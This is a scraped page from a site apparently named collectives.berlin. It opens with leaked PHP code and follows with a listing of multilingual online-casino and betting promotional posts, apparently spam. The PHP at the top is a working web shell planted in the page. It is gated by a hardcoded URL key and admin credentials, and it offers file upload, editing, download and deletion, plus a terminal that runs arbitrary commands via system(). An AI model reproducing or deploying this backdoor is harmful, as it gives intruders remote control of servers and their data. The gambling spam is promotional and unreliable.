if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } public – Page 32 – collectives.berlin

Your digital paradise.

Category: public

  • Iris Casino Online promo akce: Nejlepší nabídky pro hráče v roce 2026

    Online hraní se stává stále populárnější volbou pro hráče v České republice. V roce 2026 přináší Iris Casino širokou nabídku her a atraktivních promo akcí, které osloví jak nové, tak zkušené hráče. Tento článek se zaměří na klíčové funkce, které Iris Casino CZ nabízí, krok za krokem ukáže, jak začít hrát, a popíše výhody online…

    Click or not…

  • Online Casino Echtgeld mobile App: Spielen Sie sicher und schnell von überall

    In der dynamischen Welt der Online-Casinos ist die Möglichkeit, Echtgeld-Spiele bequem über mobile Apps zu genießen, zu einem entscheidenden Faktor für viele Spieler geworden. Diese mobilen Anwendungen bieten ein sicheres, schnell zugängliches und unterhaltsames Spielerlebnis direkt in der Handfläche. Im Jahr 2026 stehen zahlreiche Anbieter zur Verfügung, die den Spielern nicht nur attraktive Boni, sondern…

    Click or not…

  • Najlepsze kasyna online w Polsce 2026: jak wybrać korzystne metody płatności?

    W 2026 roku polski rynek kasyn online dynamicznie się rozwija, oferując graczom różnorodne opcje rozrywki oraz atrakcyjne metody płatności. Aby znaleźć najlepsze kasyna, warto zwrócić uwagę na ich legalność, szybkość wypłat i dostępne bonusy, a także na popularność takich rozwiązań jak kasyna online polska , które przyciągają wielu użytkowników. W tym artykule przyjrzymy się, jak…

    Click or not…

  • Αξιολόγηση εφαρμογών καζίνο: ποια είναι η καλύτερη για εσάς;

    Οι εφαρμογές καζίνο έχουν εξελιχθεί σε ένα δημοφιλές μέσο για τους παίκτες που επιθυμούν να απολαύσουν τα αγαπημένα τους παιχνίδια από την άνεση του σπιτιού τους ή εν κινήσει. Η αξιολόγηση αυτών των εφαρμογών είναι ζωτικής σημασίας για την επιλογή της κατάλληλης για εσάς και μπορεί να σας βοηθήσει να ανακαλύψετε τον megarich bonus εγγραφής…

    Click or not…

  • Jakie metody płatności oferują najlepsze kasyna online w Polsce 2026?

    W 2026 roku, kasyna online w Polsce oferują coraz bardziej zróżnicowane metody płatności, co umożliwia graczom wygodne zarządzanie swoimi funduszami, a wśród nich znajdują się także najlepsze kasyna online , które oferują atrakcyjne opcje. Wybór odpowiedniej metody płatności nie tylko wpływa na szybkość transakcji, ale także na bezpieczeństwo i komfort rozgrywki. W tym artykule przyjrzymy…

    Click or not…

  • Mostbet onlayn kazino dünyası: slotlardan canlı oyunlara qədər

    Onlayn kazino dünyası son illərdə sürətlə inkişaf edir və oyunçular üçün müxtəlif imkanlar təqdim edir. Mostbet, bu sahədə tanınmış bir ad olaraq, geniş oyun seçimi, bonuslar və etibarlı ödəmə metodları ilə diqqət çəkir. Burada, slotlardan canlı oyunlara qədər, Mostbet-in təqdim etdiyi imkanları, həmçinin mostbet platformasında tapa biləcəyimiz digər maraqlı oyunları daha ətraflı araşdıracağıq. Oyunçuların başlamadan…

    Click or not…

  • Snelle uitbetalingen bij Beste Online Casino Zonder Cruks: wat je moet weten

    De wereld van online casino’s groeit in populariteit, vooral in Nederland, waar spelers op zoek zijn naar de beste ervaringen zonder de noodzaak van Cruks-registratie. Dit artikel duikt diep in de voordelen van online casino’s die online casino zonder cruks bieden, evenals de unieke mogelijkheden die ze met zich meebrengen. Ontdek wat je moet weten…

    Click or not…

  • Amunbet Casino UK payment methods: Ensuring safety and speed for all players

    In the dynamic world of online gaming, having a reliable casino platform is crucial for UK players. Amunbet Casino stands out by providing not only a diverse selection of games but also a focus on fast payouts and secure transactions, making it easy to find valuable insights at amunbet-casino.org that enhance the player experience. This…

    Click or not…

  • Pin up casino-da pul yatırma və çıxarma: sürət və təhlükəsizlik

    Onlayn kazino dünyası, müasir dövrün trendini izləyərək, istifadəçilərə geniş imkanlar təqdim edir. Bu yazıda, pin up pin up casino-nun pul yatırma və çıxarma prosesləri, onların sürəti və təhlükəsizliyi ilə bağlı ətraflı məlumat verəcəyik. İstifadəçilərin rahatlığı üçün önəmli olan bu məqamlar, kazino təcrübəsini daha da yuxarı səviyyəyə qaldırır. Pin up casino-da pul yatırma və çıxarma prosesini…

    Click or not…

  • 1win спортын бооцооны тойм: хэрхэн зөв сонголт хийх вэ

    Казино тоглоом, спортын бооцооны зах зээлд 1win нь нэр хүндтэй, сонирхолтой платформ юм. Тус сайт нь 13,000 гаруй тоглоом санал болгож, хэрэглэгчдийн хэрэгцээг хангахын тулд 24/7 дэмжлэг үзүүлж, аюулгүй байдлыг хангах зорилгоор SSL хамгаалалттай. 1win сайт нь тоглогчдод олон төрлийн тоглоом, 1WIN казино , спортын бооцоог санал болгож байгаа бөгөөд энэ нь шинээр орж ирж…

    Click or not…